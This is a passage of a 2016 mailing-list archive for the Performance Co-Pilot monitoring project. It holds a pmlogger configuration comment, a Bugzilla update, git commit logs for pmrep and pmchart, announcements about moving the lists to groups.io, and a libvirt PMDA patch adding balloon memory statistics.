JDN1rPkZFC/5vYLjErcoUeP2W8RavUFWLUYZf+gBPbOkL+33mn83+r3qng== X-Barracuda-Connect: smtp-outgoing-67.servers.netregistry.net[202.124.241.67] X-Barracuda-Start-Time: 1475852863 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3061 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.73 X-Barracuda-Spam-Status: No, SCORE=0.73 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_28, HTML_IMAGE_ONLY_28_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33543 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.73 HTML_IMAGE_ONLY_28_2 HTML: images with 2400-2800 bytes of words ----==_mimepart_57f7ba2d9006a_3b603fc0c344b2b813418 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit We've changed pmlogger arguments to create new file every 50 megabytes: > pmlogger -r -v 50m -m pmlogger_daily -l pmlogger.log -h cppbig75.ulan -c /etc/pcp/pmlogger/config.autogen 20161007.02.00 Host list dashboard loads for about 1s if data is in memory or 30s if it is not. Standard per host dashboard takes about 30s to load fully. -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-252277565 ----==_mimepart_57f7ba2d9006a_3b603fc0c344b2b813418 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

We've changed pmlogger arguments to create new file every 50 megabytes:<= /p>

pmlogger -r -v 50m -m pmlogger_daily -l pmlogger.log -h cppbig75.ulan -c= /etc/pcp/pmlogger/config.autogen 20161007.02.00

Host list dashboard loads for about 1s if data is in memory or 30s if it= is not.
Standard per host dashboard takes about 30s to load fully.

&mda= sh;
You are receiving this because you are subscribed to this thread.<= br />Reply to this email directly, view it on GitHub, or <= a href=3D"https://github.com/notifications/unsubscribe-auth/AL0ItoVadC9flUT= tZM8pMwJoOYFToLl6ks5qxmAtgaJpZM4KKD0Y">mute the thread.3D""

= ----==_mimepart_57f7ba2d9006a_3b603fc0c344b2b813418-- From bugzilla@redhat.com Sun Oct 9 19:28:26 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BCD997CA0 for ; Sun, 9 Oct 2016 19:28:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8F500304064 for ; Sun, 9 Oct 2016 17:28:23 -0700 (PDT) X-ASG-Debug-ID: 1476059296-0bf57c7e223aaa30001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-68.servers.netregistry.net [202.124.241.68]) by cuda.sgi.com with ESMTP id AdGaauNUYGqo9sBA (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 09 Oct 2016 17:28:18 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.68 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1btORu-0005N3-JY for ; Mon, 10 Oct 2016 11:28:14 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9A0S2hN008328 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 9 Oct 2016 20:28:02 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9A0S210014876 for ; Sun, 9 Oct 2016 20:28:02 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u9A0S2Cs014872; Sun, 9 Oct 2016 20:28:02 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1345821] pmlogger records unrequested instance names Date: Mon, 10 Oct 2016 00:28:00 +0000 X-ASG-Orig-Subj: [Bug 1345821] pmlogger records unrequested instance names Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: nathans@redhat.com X-Bugzilla-Status: CLOSED X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: short_desc X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-68.servers.netregistry.net[202.124.241.68] X-Barracuda-Start-Time: 1476059297 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 695 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33581 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1345821 Nathan Scott changed: What |Removed |Added ---------------------------------------------------------------------------- Summary|pmlogger records |pmlogger records |unrequested instances |unrequested instance names --- Comment #4 from Nathan Scott --- (update the title to be more specific, regarding instance names vs values) --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DAu6mG0B= Xhe&a=3Dcc_unsubscribe= From nscott@redhat.com Sun Oct 9 20:40:03 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1853D7CA0 for ; Sun, 9 Oct 2016 20:40:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C1B958F8100 for ; Sun, 9 Oct 2016 18:40:02 -0700 (PDT) X-ASG-Debug-ID: 1476063595-0bf815670f3f5500001-S8gJnT Received: from mx3-phx2.redhat.com (mx3-phx2.redhat.com [209.132.183.24]) by cuda.sgi.com with ESMTP id Zm5gWrjw8Z6l1oBc (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 09 Oct 2016 18:39:55 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Apparent-Source-IP: 209.132.183.24 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx3-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u9A1dtQe001566 for ; Sun, 9 Oct 2016 21:39:55 -0400 Date: Sun, 9 Oct 2016 21:39:54 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: PCP Mailing List Message-ID: <463100787.1225017.1476063594941.JavaMail.zimbra@redhat.com> Subject: pcp updates: pmrep, pmchart, qa MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: pmrep, pmchart, qa Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.125] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: pmrep, pmchart, qa Thread-Index: s4+8PBsFyiAM+3/YD+ofTYxrvx9afw== X-Barracuda-Connect: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Start-Time: 1476063595 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3704 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33583 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Changes committed to git://git.pcp.io/pcp.git master Nathan Scott (3): qa: couple of small improvements for running tests in containers pmchart: stacked bar charts need same scaling as utilization qa: tweak pmrep test 1069 to build and use [test] config Marko Myllynen (2): pmrep: add support for specifying instances pmrep: better handling of global variable qa/1069 | 31 +++++++++++++-- qa/1069.out | 61 +++++++++++++++++++++++++++-- qa/255 | 1 qa/933 | 2 qa/common.check | 9 ++++ src/bashrc/pcp_completion.sh | 2 src/pmchart/sampling.cpp | 3 - src/pmrep/TODO | 6 +- src/pmrep/pmrep.1 | 65 +++++++++++++++++++++++++++++-- src/pmrep/pmrep.conf | 1 src/pmrep/pmrep.conf.5 | 10 ++++ src/pmrep/pmrep.py | 88 ++++++++++++++++++++++++++++++++++++++++--- src/zshrc/_pcp | 3 - 13 files changed, 255 insertions(+), 27 deletions(-) commit 5ce32578c165ea065026eec38b075f24f2cafd50 Author: Nathan Scott Date: Mon Oct 10 12:35:33 2016 +1100 qa: tweak pmrep test 1069 to build and use [test] config As nature intended, I think ... looks like a patch snippet may have been lost somewhere, but test fails without this. commit c473c545e858922dd5ab1eb29e39410547da146d Author: Marko Myllynen Date: Mon Oct 10 11:43:19 2016 +1100 pmrep: better handling of global variable Clear the global variable before, not after, using it, much better. commit 9a3bc1b75bfaa5e60c57693f24b1c130b7059f4f Author: Marko Myllynen Date: Mon Oct 10 11:42:09 2016 +1100 pmrep: add support for specifying instances Specifying instances to report is hugely helpful with many metrics, the best example is probably proc.* metrics where there's lots of instances and the user might be interested in only one or two of them. This commit adds support to pmrep(1) for specifying the instances to report, either using a globally defined list or instances per metric. The implementation is relatively straightforward, a bit of gymnastics needed to parse the command line vs config file right and to pass more than one parameter to pmTraversePMNS(). QA updated with lots of tests, all current and new QA passing, shell completions updated while at it, man pages updated as well. There are two things that might require further thought: 1) Instance specification can actually be a regex but I'm not yet 100% sure it's a good idea so for now I've left it undocumented, I think it's best we gather a bit of experience and then either document it or remove the regex support. 2) Reporting to archive ignore this in the spirit of pmlogger(1) but it might make sense to respect the instance specification with archives as well. There's been some discussion about this wrt pmlogger earlier, perhaps we could try to find a common consensus for both: https://bugzilla.redhat.com/show_bug.cgi?id=1345821 commit e49a20b7bd34b4893dc194e8d373595164c300bd Author: Nathan Scott Date: Fri Oct 7 11:40:09 2016 +1100 pmchart: stacked bar charts need same scaling as utilization commit 65aac10155cfd94039023e09bc5d7ea6eba976a3 Author: Nathan Scott Date: Fri Oct 7 08:53:03 2016 +1100 qa: couple of small improvements for running tests in containers From pcp-announce-bounces@oss.sgi.com Sun Oct 9 23:20:52 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from oss.sgi.com (localhost [IPv6:::1]) by oss.sgi.com (Postfix) with ESMTP id A9CC27CA4; Sun, 9 Oct 2016 23:20:52 -0500 (CDT) X-Original-To: pcp-announce@oss.sgi.com Delivered-To: pcp-announce@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 810B27CA0 for ; Sun, 9 Oct 2016 23:20:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E9D05AC00B for ; Sun, 9 Oct 2016 21:20:48 -0700 (PDT) X-ASG-Debug-ID: 1476073242-0bf57c7e223b0a60001-87ZIJf Received: from mx5-phx2.redhat.com (mx5-phx2.redhat.com [209.132.183.37]) by cuda.sgi.com with ESMTP id S7SnrjqC3OyCZ4as (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 09 Oct 2016 21:20:42 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx5-phx2.redhat.com[209.132.183.37] X-Barracuda-Apparent-Source-IP: 209.132.183.37 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx5-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9A4Kf2p000343 for ; Mon, 10 Oct 2016 00:20:42 -0400 Date: Mon, 10 Oct 2016 00:20:41 -0400 (EDT) From: Nathan Scott To: pcp-announce Message-ID: <14482981.1239721.1476073241679.JavaMail.zimbra@redhat.com> In-Reply-To: <1976590423.1235339.1476070793783.JavaMail.zimbra@redhat.com> MIME-Version: 1.0 X-ASG-Orig-Subj: Transitioning of PCP mailing list services X-Originating-IP: [10.64.48.125] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: Transitioning of PCP mailing list services Thread-Index: ogW+TVGHPIya8rA5R5ohh32fpfAXZA== X-Barracuda-Connect: mx5-phx2.redhat.com[209.132.183.37] X-Barracuda-Start-Time: 1476073242 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1292 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33583 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Subject: [pcp-announce] Transitioning of PCP mailing list services X-BeenThere: pcp-announce@oss.sgi.com X-Mailman-Version: 2.1.14 Precedence: list Reply-To: Nathan Scott List-Id: Performance Co-Pilot announcements List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Errors-To: pcp-announce-bounces@oss.sgi.com Sender: pcp-announce-bounces@oss.sgi.com Hi all, We are currently transitioning the PCP mailing list services to an alternate provider, on the recommendation of the oss.sgi.com sysadmins. The pcp@oss.sgi.com and pcp-announce@oss.sgi.com lists are being transferred right now. ******* YOU DO NOT NEED TO DO ANYTHING! ******* All existing list subscriptions will be transferred automatically. Please refrain from posting to either the new or old list until we send through an email on successful completion - it should be just a day or so, at most. After consideration of a number of alternatives, we're going to move these lists to: https://groups.io In other good news - this transition provided opportunity to improve on some problem areas. Firstly, the lists are searchable, which was a problem over time on oss.sgi.com; both via the groups.io interface and via search engines like Google. Secondly, some archaeology has uncovered many years of missing PCP list archives. The good folk at groups.io are helping us to import them all, so at the end of this process we expect to have the complete list histories, indexed, from the time that PCP was open sourced (late 1999). Thanks for your patience. See you on the other side, hopefully. :) cheers. -- Nathan _______________________________________________ pcp-announce mailing list pcp-announce@oss.sgi.com http://oss.sgi.com/mailman/listinfo/pcp-announce From myllynen@redhat.com Tue Oct 11 14:40:57 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1084E7CB7 for ; Tue, 11 Oct 2016 14:40:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 76295AC003 for ; Tue, 11 Oct 2016 12:40:56 -0700 (PDT) X-ASG-Debug-ID: 1476214849-0bf57c7e22411290001-S8gJnT Received: from mail-wm0-f53.google.com (mail-wm0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id TKpLU2rYzeUr9Q3L (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 11 Oct 2016 12:40:50 -0700 (PDT) X-Barracuda-Envelope-From: myllynen@redhat.com X-Barracuda-Effective-Source-IP: mail-wm0-f53.google.com[74.125.82.53] X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wm0-f53.google.com with SMTP id o81so5234198wma.1 for ; Tue, 11 Oct 2016 12:40:50 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:reply-to:to:from:subject:organization:message-id :date:user-agent:mime-version:content-transfer-encoding; bh=fuO6ogYOcFHM+p1yQOWe3VEqJ4zc5FnEoXs8WvJDv6Y=; b=cMEXRo7Z6OFgnE/Gtw/2YPKJALZFUebvU8fL/M6r0IwryyPuZb/PQvVE9BA/xLT5if ztrkoiRmSbBFYaQkGXqNcYyKuyqLT/NutQbMtyIMVDIRFJwr0GW0aqak8fxFB00KQeNB dDrMe16PghWPzNCm8ocQ20amVi6Wvtsr8VPUGq/kj9fKG2jMDt+gKdEF6RkHtiuuKt+b xeL/iSt9c58dBHTwt30NVE5zPrpdxWBX0sF2ir/JrGhgbldol/UcY62IfgA0qARoknyw vb+Mf5hzyqUW2rdsauNZ2nzecWyMNb7sDjgk2QM9751dJrot6OSQbihOkEeIOdtzcoud BVyQ== X-Gm-Message-State: AA6/9RlbffqfGM3t3PKrevBIkCMxW01rlssrkxdsHI0rFtGWyH6iljxJcy3IX35GpQCYy+eP X-Received: by 10.194.109.229 with SMTP id hv5mr6741452wjb.131.1476214849254; Tue, 11 Oct 2016 12:40:49 -0700 (PDT) Received: from [192.168.1.100] (37-33-140-248.bb.dnainternet.fi. [37.33.140.248]) by smtp.gmail.com with ESMTPSA id o1sm8734596wjh.9.2016.10.11.12.40.48 for (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Oct 2016 12:40:48 -0700 (PDT) Reply-To: Marko Myllynen To: pcp developers From: Marko Myllynen Subject: libvirt pmda: add new balloon statistics Organization: Red Hat X-ASG-Orig-Subj: libvirt pmda: add new balloon statistics Message-ID: Date: Tue, 11 Oct 2016 22:40:46 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.4.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wm0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1476214850 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3874 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, Some new balloon statistics are available with libvirt 2.3. There's an unfortunate workaround needed for "last-update", I sent a plea to libvirt list to stick with underscores in the future: https://www.redhat.com/archives/libvir-list/2016-October/msg00506.html AFAICS libvirt 2.3 API coverage is now complete. --- src/pmdas/libvirt/pmdalibvirt.python | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/src/pmdas/libvirt/pmdalibvirt.python b/src/pmdas/libvirt/pmdalibvirt.python index 56f54f8..289202f 100755 --- a/src/pmdas/libvirt/pmdalibvirt.python +++ b/src/pmdas/libvirt/pmdalibvirt.python @@ -71,6 +71,7 @@ class LibvirtPMDA(PMDA): units_kbyte = pmUnits(1, 0, 0, PM_SPACE_KBYTE, 0, 0) units_bpers = pmUnits(1,-1, 0, PM_SPACE_BYTE, PM_TIME_SEC, 0) units_nsecs = pmUnits(0, 1, 0, 0, PM_TIME_NSEC, 0) + units_secs = pmUnits(0, 1, 0, 0, PM_TIME_SEC, 0) self.hv_indom = PM_INDOM_NULL @@ -165,8 +166,17 @@ class LibvirtPMDA(PMDA): self.vm_balloonstats = [ # Name - empty - type - semantics - units - help # See libvirt.git/src/libvirt-domain.c - [ 'domstats.balloon.current', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon size, current' ], - [ 'domstats.balloon.maximum', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon size, maximum' ], + [ 'domstats.balloon.current', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, current size' ], + [ 'domstats.balloon.maximum', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, maximum size' ], + [ 'domstats.balloon.swap_in', None, PM_TYPE_U64, PM_SEM_COUNTER, units_kbyte, 'VM balloon, swapped in total' ], + [ 'domstats.balloon.swap_out', None, PM_TYPE_U64, PM_SEM_COUNTER, units_kbyte, 'VM balloon, swapped out total' ], + [ 'domstats.balloon.major_fault', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM balloon, major faults' ], + [ 'domstats.balloon.minor_fault', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM balloon, minor faults' ], + [ 'domstats.balloon.unused', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, unused' ], + [ 'domstats.balloon.available', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, available' ], + [ 'domstats.balloon.rss', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, proc RSS' ], + [ 'domstats.balloon.usable', None, PM_TYPE_U64, PM_SEM_INSTANT, units_kbyte, 'VM balloon, usable w/o swap' ], + [ 'domstats.balloon.last_update', None, PM_TYPE_U64, PM_SEM_INSTANT, units_secs, 'VM balloon, update timestamp' ], ] self.vm_block_indom = self.indom(2) @@ -743,6 +753,7 @@ class LibvirtPMDA(PMDA): if cluster != self.vm_vcpustats_cluster and \ cluster != self.vm_blockstats_cluster and \ cluster != self.vm_netstats_cluster: + if key == 'balloon.last_update': key = 'balloon.last-update' if key in res[pos][1]: return [res[pos][1][key], 1] else: Thanks, -- Marko Myllynen From pcp-announce-bounces@oss.sgi.com Tue Oct 11 16:46:47 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from oss.sgi.com (localhost [IPv6:::1]) by oss.sgi.com (Postfix) with ESMTP id 048407CBB; Tue, 11 Oct 2016 16:46:47 -0500 (CDT) X-Original-To: pcp-announce@oss.sgi.com Delivered-To: pcp-announce@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B6CC7CB8 for ; Tue, 11 Oct 2016 16:46:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D3A87304039 for ; Tue, 11 Oct 2016 14:46:45 -0700 (PDT) X-ASG-Debug-ID: 1476222398-0bf57b1e934817a0001-87ZIJf Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id YitaRJx4BCAa51cC (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 11 Oct 2016 14:46:40 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u9BLkbfc011183 for ; Tue, 11 Oct 2016 17:46:37 -0400 Date: Tue, 11 Oct 2016 17:46:37 -0400 (EDT) From: Nathan Scott To: pcp-announce Message-ID: <176155944.1712141.1476222397392.JavaMail.zimbra@redhat.com> In-Reply-To: <1096523730.1708126.1476220217944.JavaMail.zimbra@redhat.com> MIME-Version: 1.0 X-ASG-Orig-Subj: List retired - now read-only X-Originating-IP: [10.64.48.3] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: List retired - now read-only Thread-Index: cKZg/AI8Xp0eFTOOhg6MLx7YqezXqw== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1476222400 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 474 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33626 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Subject: [pcp-announce] List retired - now read-only X-BeenThere: pcp-announce@oss.sgi.com X-Mailman-Version: 2.1.14 Precedence: list Reply-To: Nathan Scott List-Id: Performance Co-Pilot announcements List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Errors-To: pcp-announce-bounces@oss.sgi.com Sender: pcp-announce-bounces@oss.sgi.com Hi all, As per earlier email, these lists have now been made read-only and we expect them to be completely decommissioned in the future. You've been subscribed to pcp@groups.io and/or pcp-announce@groups.io where all future PCP discussion and announcements will occur. Please enjoy the complete archives there, as well as many other improvements over the previous list service. Many thanks to the groups.io admins for all their help. 